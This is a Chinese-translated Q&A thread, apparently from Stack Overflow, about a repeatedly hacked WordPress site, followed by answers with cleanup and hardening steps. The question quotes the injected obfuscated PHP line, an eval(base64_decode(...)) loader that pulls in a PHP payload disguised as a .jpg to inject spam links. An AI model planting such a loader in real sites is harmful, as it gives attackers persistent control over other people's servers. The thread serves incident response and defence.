Wordpress 网站不断被黑客入侵

Posted

技术标签:

【中文标题】Wordpress 网站不断被黑客入侵【英文标题】:Wordpress Site Keeps Getting Hacked 【发布时间】:2015-12-06 00:45:45 【问题描述】:

我有一个不断被黑客入侵的 Wordpress 网站。据我所知,正在进行以下更改:

此文件顶部有一些额外的 php 代码:

wp-content/themes/enfold/functions.php

如下:

eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7"));

并且正在创建 4 个新的 jpg 文件:

/wp-includes/images/geo.jpg

/wp-includes/images/save.jpg

/wp-includes/images/magic.jpg

/wp-includes/images/links.jpg

这些不是真正的 jpg 文件,因为它们不会打开,但使用文本编辑器查看它们会显示文本和其他 PHP 代码。

从 PHP 代码看来,它似乎正试图将一些垃圾邮件/广告链接注入我的 Wordpress 帖子中。

我不断删除这些文件,我安装了一个安全插件,删除了管理员登录,更改了我所有的密码,但这些文件每隔几天就会继续更新/创建。

我正在尝试了解这是如何实现的,以及接下来我需要做什么来阻止它。

【问题讨论】:

您是否使用 FTP 或 cPanel/etc 来访问服务器?有可能这些都受到了影响。 您可能有一个易受攻击的主题或插件。 我敢打赌你的主题或一些活动插件很容易受到攻击,我遇到过很多这样的网站,通常使用 5 年前创建的硬编码主题。 我同时使用 cPanel 和 FTP - 我将再次更改这些密码。我已经删除了除活动主题之外的所有主题,并拥有最少的插件集。有没有办法判断日志文件等可能受到的损害? 大概是you've followed the standard advice in the FAQ?因为除非您有一些您怀疑可以发布的特定代码,否则我们在这里无能为力。 【参考方案1】:

首先 - DON´T PANIC。

此时安装防病毒或安全插件几乎没有帮助 - 恶意代码已经拥有服务器访问权限。

1 - 更改所有FTPmysqlDBCpanelWHMSSH(如果不需要,禁用)等的密码。

3 - 检查您的服务器(所有文件夹,如 cgicgi-binftp 等 ..) 删除所有wordpress 文件夹(wp-content 除外)和所有其他奇怪的文件。删除所有主题和所有插件并仔细检查wp-content 的其余部分。备份数据库并手动检查。

3.1 -(编辑 1)-在 Cpanel/WHM 中禁止索引。并阅读下面的 .htaccess 保护。

2 - 将新的 wordpress CORE 文件上传到 OWN directory(不是 root)并将其重命名为其他名称(不是 wpwordpress)。

3 - 更新插件和主题 - 不要复制你拥有的那些,而是从 wp 插件库安装新的更新的,以及一个全新的干净主题。 必要时手动检查。

在您的主题中,检查所有formsinput fields,并检查输入是否正确验证。

4 - 更改 wp-config 中的所有数据库密码。所有的哈希值等。 创建一个新的数据库和用户和新密码。在注入之前手动检查数据库备份。

4.1 - ( EDIT I ) 我忘了提 - 还要更改 DB 前缀。不要离开wp

5 - 更改所有 wp 用户密码和用户名。 如果您有一个拥有数百名用户的开放站点,则可以编写一个脚本来强制每个人更改密码。如果您只有一打手动更改它。 当我说全部时 - 它包括默认管理员用户(来自过去的版本)

6 - 一段时间后,检查您的服务器日志,查看伪造图像文件的 404 消息是否来自单个 IP 地址(可能不是) - 如果是 - 阻止它。

7 - 除了小心之外,您无能为力。这是很多工作,但不要偷懒并遵循所有步骤。否则不仅仅是这个站点,而是整个服务器都可能受到损害。一次又一次,。

指导方针不会再次发生:

选择强密码。 - 我们都不喜欢看起来像 aDf34HG§*#sFGT 的密码,但它们很有帮助 - 特别是在 DB 或其他自动化任务中。对于用户 - 强制使用至少一个符号和一个字母。

不要安装您不知道、不完全理解或从可疑来源下载的主题和插件( all-wp-premium-themes-for-free-and-direct-download-all-plugins-for-free 等)。

保持 wordpress 核心文件更新。

每隔一段时间手动检查一次服务器。

.htaccess

一些指令可以防止(或至少尝试)这种情况再次发生。

WordPress根目录下的.htaccess文件。

#Disallow indexes 
Options All -Indexes

# protect wp-config.php
<files wp-config.php>
Order deny,allow
Deny from all
</files>

# WPhtC: Protect .htaccess file
<files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
</files>

robots.txt

Disallow: /wp-*

您可以做的另一件事是强制用户(和您自己)在登录管理员时使用 SSL (HTTPS):

define('FORCE_SSL_LOGIN', true);

之后 - 您还需要查看您的数据库以查看是否有奇怪的列/表/条目/用户。例如,如果您的网站不断被重定向 - 检查字符串等 .. (eval(),exec() ..)

您还可以将众多安全插件中的一些用于核心校验和以及其他上述php 调用。

还有其他更复杂的事情,尤其是在 APACHE 方面。 如果我有更多时间,我将在此处发布博客条目和链接。但是上面写的就是一个好的开始。

【讨论】:

【参考方案2】:

我的许多网站都遇到了这个问题,甚至在交换了所有内容之后(所有新文件都只有一个网站,但配置文件相同)......无论如何我都受到了攻击。

每天我都会收到电子邮件提醒,说有 30 个不同的文件已被编辑或替换。每次我清理它,它都会在几个小时后回来......但是因为都是新文件而感到困惑。唯一相同的是 wp-config.php 文件。

原来哈希键太短了。网站建于 3 年前,但已完全更新到这一点,但是当我将哈希键更改为更长时,问题就停止了。

哈希键示例:

您可以在此处生成新密钥: https://api.wordpress.org/secret-key/1.1/salt/

【讨论】:

以上是关于Wordpress 网站不断被黑客入侵的主要内容,如果未能解决你的问题,请参考以下文章

电脑被黑客入侵

网站已通过 SQL 注入被黑客入侵

网站被黑客入侵,js挂马无法清除。

入侵网站的黑客被我抓到了!

如何扫描网站的静态副本以寻找被黑客入侵的证据

扫描网站数据库以寻找黑客入侵迹象的方法